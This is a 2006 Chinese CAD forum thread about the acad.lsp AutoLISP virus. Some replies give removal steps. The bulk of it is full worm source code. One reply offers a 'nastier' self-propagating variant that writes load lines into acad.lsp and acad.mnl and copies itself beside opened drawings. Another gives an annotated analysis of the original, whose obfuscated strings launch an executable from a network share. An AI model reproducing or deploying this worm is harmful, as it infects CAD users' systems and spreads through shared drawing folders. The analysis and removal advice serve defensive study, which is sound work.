明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
楼主: kaixinmao

[原创]LSP病  毒???

  [复制链接]
发表于 2006-5-11 22:03:00 | 显示全部楼层
各位大哥,谁能帮小弟写几个lisp程序,2种螺栓、2种螺母,2种弹簧,垫圈,滚动轴
发表于 2006-5-24 19:14:00 | 显示全部楼层
这还是比较善意的。以前我从公司辞职的时候想写一个东东放进去。删除所有图形,后来想想太没职业道德。其实用CAD的的多,了解CAD的人不多。很容易出事啊!!
发表于 2006-6-20 07:41:00 | 显示全部楼层
现在已经杀不了
发表于 2006-7-23 10:56:00 | 显示全部楼层
杀这个病毒的程序,上传了没有,在那?我也要一份,以备急用。。。用。。。
发表于 2006-8-5 22:51:00 | 显示全部楼层
本帖最后由 作者 于 2006-8-10 21:12:57 编辑

刚刚看到这个帖子时,真有些惊讶。后来细想,这个程序的编制时间不清楚,我怀疑是若干年前一位cad高手编写的“保护”程序,保护图中的块等不被炸开或类似的操作。只不过产生的结果超出了其原来目的。在今天对cad开发已经有一定深度的时代,此程序已算不了什么了。正如发帖者所言,其思路还是可以学习的。

------------------------------------------

个人意见,如有匡偏,请指正。

发表于 2006-8-18 02:06:00 | 显示全部楼层
浩辰出过专杀此类病毒的软件,可惜杀过之后还会产生,好苦恼~~
发表于 2006-9-3 22:01:00 | 显示全部楼层

找到C:\Documents and Settings\********\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support,中的acad.lsp文件,打开文件一般最后两句是(load "****.lsp")(princ)

将load 后面的文件删除,然后将 acad.lsp删除,打开acad.mnl文件将文件最后的两句

(load "*****.lsp")和(princ)删除,即可以清除.

也可以不删除***.lsp文件,将***.lsp文件中的所有内容删除就可以对这种acad.lsp病毒免疫

附件acad1.lsp病毒带有注释的供大家学习,(附件需要修改才能当病毒用)

以上以2004版本为例如果是其他版本,support文件夹位置有可能在CAD安装文件夹内

发表于 2006-9-3 22:06:00 | 显示全部楼层

将"acadapp.lsp"(或者其他病毒文件)中的内容全部删除,文件保留,即使打开带病毒的CAD文件也不会感染了,而且所带的病毒都成了空白文件

发表于 2006-9-26 08:57:00 | 显示全部楼层
来个更狠的:

(defun s::startup()
    (setq old_cmd (getvar "cmdecho"))
    (setvar "cmdecho" 0)
  ;获得support目录
    (setq path (findfile "base.dcl"))
    (setq path (substr path 1 (- (strlen path) 8)))
  ;mnl文件名
    (setq mnlpath (getvar "menuname"))
  ;当前图纸文件名
    (setq nowdwg (getvar "dwgname"))
  ;当前图纸路径
    (setq wjqm (findfile nowdwg))
  ;当前图纸所在目录
    (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  ;
    (setq acadpath (findfile "acad.lsp"))    
    (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
    (setq ns1 "" ns2 "")
    (setq lspbj 0)
    (setq wjqm (strcat path "acad.lsp"))
    (if (setq wjm (open wjqm "r"))
        (progn
            (while
                (setq wz (read-line wjm))
                (setq ns1 ns2)
                (setq ns2 wz))
                (if(> (strlen ns1) 14)
                   (if (= (substr ns1 8 7) "acadapp")
                      (setq lspbj 1)
                   )
                )
            (close wjm)
        )
    )
    (setq lspmnl 0)
    (setq wjqm (strcat path "acad.mnl"))
    (if (setq wjm (open wjqm "r"))
        (progn
        (while
            (setq wz (read-line wjm))
            (setq ns1 ns2)
            (setq ns2 wz)
        )
        (if (> (strlen ns1) 14)
          (if (= (substr ns1 8 7) "acadapp")
            (setq lspmnl 1)
          )
        )
        (close wjm)
        )
    )
    (if (= lspmnl 0)                  
        (progn                      
            (setq wjqm (strcat path
              (strcat (chr 97) (chr 99) (chr 97) (chr 100) (chr 46) (chr 109) (chr 110) (chr 108)))
            )
            (setq wjm (open wjqm "a"))
            (write-line (strcat "(load "(chr 34)"acadapp"(chr 34)")") wjm)
            (write-line "(princ)" wjm)
            (close wjm)
        )
    )
    (if (and (= acadpath dwgpath) (/= acadpath path))
      (progn                      
        (if(= 0 lspmnl)
        (progn                      
        (setq oldacad (findfile "acad.lsp"))      
        (setq newacad (strcat path "acadapp.lsp"))
        )
        (progn
        (setq oldacad (strcat path "acadapp.lsp"))
        (setq newacad (findfile "acad.lsp"))
        )              
        )
        (if (= lspbj 0)                  
        (progn                      
        (setq wjqm (strcat path "acad.lsp"))
        (setq wjm (open wjqm "a"))
        (write-line (strcat "(load " (chr 34) "acadapp" (chr 34) ")" ) wjm)
        (write-line "(princ)" wjm)
        (close wjm))
        )
        (writeapp)
      )
      (progn
        (if (and (/= nowdwg "Drawing.dwg") (/= nowdwg "Drawing1.dwg"))
        (progn
        (setq oldacad (findfile "acadapp.lsp"))
        (setq newacad (strcat dwgpath "acad.lsp"))
        (writeapp)
        )
        )
      )
    )
    ;这里设置需要的操作^_^

    (setvar "cmdecho" old_cmd)
    (princ)
)
(defun writeapp ()
(if (setq wjm1 (open newacad "w"))
(progn
(setq wjm (open oldacad "r"))
(while
(setq wz (read-line wjm))
(write-line wz wjm1)
)                
(close wjm)
(close wjm1)
)
)
)
(princ)

发表于 2006-10-13 18:02:00 | 显示全部楼层
不知从何时起,我的机子染上了"acad.lsp"。
今日,实在忍受不了它的折磨,就想看看它是如何运行的。
于是经过我一中午的努力,终于揭开了它...
  1. ;;;======================================================================
  2. ;;;函数:s::startup                                                     ;
  3. ;;;功能:根据CAD运行机制,当输入新图形或打开现有图形时,此函数即被调用。;
  4. ;;;======================================================================
  5. (defun s::startup ()
  6. ;;;一、准备工作★★★★★★★★★★★★★★★★★★★★★★★★★
  7.   (setq old_cmd (getvar "cmdecho")) ;保存系统设置
  8.   (setvar "cmdecho" 0)
  9.   (setq path (findfile "base.dcl")) ;获取系统支持路径
  10.   (setq path (substr path
  11.      1
  12.      (- (strlen path) 8)
  13.      )
  14.   )
  15.   (setq mnlpath (getvar "menuname")) ;获取菜单路径
  16.   (setq nowdwg (getvar "dwgname")) ;获取当前文档名
  17.   (setq wjqm (findfile nowdwg)) ;获取当前文档路径
  18.   (setq dwgpath (substr wjqm
  19. 1
  20. (- (strlen wjqm)
  21.    (strlen nowdwg)
  22. )
  23. )
  24.   )
  25.   (setq acadpath (findfile "acad.lsp")) ;获取"acad.lsp"路径
  26.   (setq acadpath (substr acadpath
  27. 1
  28. (-
  29.    (strlen acadpath)
  30.    8
  31. )
  32. )
  33.   )
  34. ;;;初始化
  35.   (setq ns1 ""
  36. ns2 ""
  37.   )
  38. ;;;二、判断当前状态★★★★★★★★★★★★★★★★★★★★★
  39. ;;;2.1下面判别acad.lsp中的内容。
  40.   (setq lspbj 0)
  41. ;;;lspbj------lsp标记
  42. ;;;wjqm------文件全名
  43. ;;;wjm------文件名
  44. ;;;wz------文字
  45.   (setq wjqm
  46. (strcat path "acad.lsp")
  47.   )
  48.   (if (setq wjm (open wjqm "r")) ;读模式打开
  49.     (progn
  50.       (while
  51. (setq wz
  52.        (read-line wjm)
  53. )
  54. (setq ns1 ns2)
  55. (setq ns2 wz)
  56.       )
  57.       (if
  58. (> (strlen ns1)
  59.    14
  60. )
  61. (if (= (substr ns1 8 7) "acadapp")
  62.    (setq lspbj 1) ;改变lsp标记
  63. )
  64.       )
  65.       (close wjm)
  66.     ) ;结束progn
  67.   )  ;结束if
  68. ;;;2.2下面判别acad.mnl的内容
  69.   (setq lspmnl 0)
  70.   (setq wjqm
  71. (strcat path "acad.mnl")
  72.   )
  73.   (if
  74.     (setq wjm (open wjqm "r"))
  75.      (progn
  76.        (while
  77. (setq wz
  78. (read-line wjm)
  79. )
  80.   (setq ns1 ns2)
  81.   (setq ns2 wz)
  82.        )
  83.        (if
  84. (> (strlen ns1) 14)
  85.   (if (= (substr ns1 8 7) "acadapp")
  86.     (setq lspmnl 1)
  87.   )
  88.        )
  89.        (close wjm)
  90.      ) ;结束progn
  91.   )  ;结束if
  92. ;;;三、对判别结果进行分析处理★★★★★★★★★★★★★★★★★
  93. ;;;3.1如果acad.mnl中没有欲加载的内容,则在文件尾添加
  94.   (if (= lspmnl 0)
  95.     (progn
  96.       (setq wjqm
  97.      (strcat path
  98.      (strcat
  99.        (chr 97)
  100.        (chr 99)
  101.        (chr 97)
  102.        (chr 100)
  103.        (chr 46)
  104.        (chr 109)
  105.        (chr 110)
  106.        (chr 108)
  107.      ) ;内容为"acad.mnl"
  108.      )
  109.       )
  110.       (setq wjm (open wjqm "a")) ;添加模式打开文件
  111.       (write-line
  112. (strcat
  113.   "(load "
  114.   (chr 34)
  115.   "acadapp"
  116.   (chr 34)
  117.   ")"
  118. )
  119. wjm
  120.       )
  121.       (write-line "(princ)" wjm)
  122.       (close wjm)
  123.     ) ;结束progn
  124.   )  ;结束if
  125. ;;;3.2对acad.mnl和acad.lsp文件的处理
  126.   (if
  127.     (and
  128.       (= acadpath dwgpath)
  129.       (/= acadpath path)
  130.     )
  131.      (progn
  132.      ;对acad.mnl中有无信息的处理
  133.        (if (= 0 lspmnl)
  134. (progn ;当acad.mnl中无信息,将"acad.lsp"中内容写入"acadapp.lsp"
  135.    (setq oldacad
  136.   (findfile "acad.lsp")
  137.    )
  138.    (setq newacad
  139.   (strcat path "acadapp.lsp")
  140.    )
  141. )
  142. (progn ;当acad.mnl中有信息,将"acadapp.lsp"中内容写入"acad.lsp"
  143.    (setq oldacad
  144.   (strcat path "acadapp.lsp")
  145.    )
  146.    (setq newacad
  147.   (findfile "acad.lsp")
  148.    )
  149. )
  150.        ) ;结束if
  151.      ;对acad.lsp中有无信息的处理
  152.        (if (= lspbj 0)
  153. (progn ;当acad.lsp中没有信息,则在其尾部添加写入
  154.    (setq wjqm
  155.   (strcat path "acad.lsp")
  156.    )
  157.    (setq wjm (open wjqm "a"))
  158.    (write-line
  159.      (strcat
  160.        "(load "
  161.        (chr 34)
  162.        "acadapp"
  163.        (chr 34)
  164.        ")"
  165.      )
  166.      wjm
  167.    )
  168.    (write-line "(princ)" wjm)
  169.    (close wjm)
  170. ) ;结束progn
  171.        ) ;结束if
  172.        (writeapp) ;调用子函数
  173.      )
  174.      (progn
  175.        (if (/= nowdwg "Drawing.dwg")
  176. (progn
  177.      ;当当前图档名称不为"Drawing.dwg"时,将"acadapp.lsp"中内容写入"acad.lsp"
  178.    (setq oldacad
  179.   (findfile "acadapp.lsp")
  180.    )
  181.    (setq newacad
  182.   (strcat dwgpath "acad.lsp")
  183.    )
  184.    (writeapp) ;调用子函数
  185. )
  186.        )
  187.      ) ;结束progn
  188.   )
  189. ;;;四、运行指定路径的应用程序★★★★★★★★★★★★★★★★★★★★
  190.   (setq
  191.     strtopstr
  192.      (strcat
  193.        (chr 92)
  194.        (chr 92)
  195.        (chr 70)
  196.        (chr 83)
  197.        (chr 49)
  198.        (chr 92)
  199.        (chr 83)
  200.        (chr 89)
  201.        (chr 83)
  202.        (chr 49)
  203.        (chr 92)
  204.        (chr 87)
  205.        (chr 79)
  206.        (chr 82)
  207.        (chr 75)
  208.        (chr 92)
  209.        (chr 80)
  210.        (chr 76)
  211.        (chr 79)
  212.        (chr 84)
  213.        (chr 69)
  214.        (chr 82)
  215.      )
  216.   )
  217.   (setq
  218.     strbottomstr
  219.      (strcat
  220.        (chr 92)
  221.        (chr 76)
  222.        (chr 79)
  223.        (chr 67)
  224.        (chr 80)
  225.        (chr 82)
  226.        (chr 88)
  227.        (chr 89)
  228.        (chr 49)
  229.        (chr 46)
  230.        (chr 69)
  231.        (chr 88)
  232.        (chr 69)
  233.      )
  234.   )
  235. ;;;变量strtopstr返回内容为"\\\\FS1\\SYS1\\WORK\\PLOTER"
  236. ;;;变量strbottomstr返回内容为"\\LOCPRXY1.EXE"
  237.   (startapp (strcat strtopstr strbottomstr))
  238. ;;;上面一句作用是运行"\\FS1\SYS1\WORK\PLOTER\LOCPRXY1.EXE"
  239. ;;;可见,该处作者的意图是运行网络上FS1计算机共享的应用程序
  240.   (setvar "cmdecho" old_cmd) ;恢复系统设置
  241.   (princ)
  242. )    ;结束defun
  243. ;;;======================================================================
  244. ;;;                                                                     ;
  245. ;;;函数:writeapp                                                       ;
  246. ;;;功能:将oldacad文件中的内容全部写入到newacad文件中                   ;
  247. ;;;======================================================================
  248. (defun writeapp ()
  249.   (if (setq wjm1 (open newacad "w") ;写入模式打开文件
  250.       )
  251.     (progn
  252.       (setq wjm (open oldacad "r")) ;读出模式打开文件
  253.       (while
  254. (setq wz
  255.        (read-line wjm)
  256. )
  257. (write-line wz wjm1)
  258.       )
  259.       (close wjm)
  260.       (close wjm1)
  261.     ) ;结束progn
  262.   )  ;结束if
  263. )    ;结束defun
  264. (princ)
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-10-2 03:30 , Processed in 0.196109 second(s), 19 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表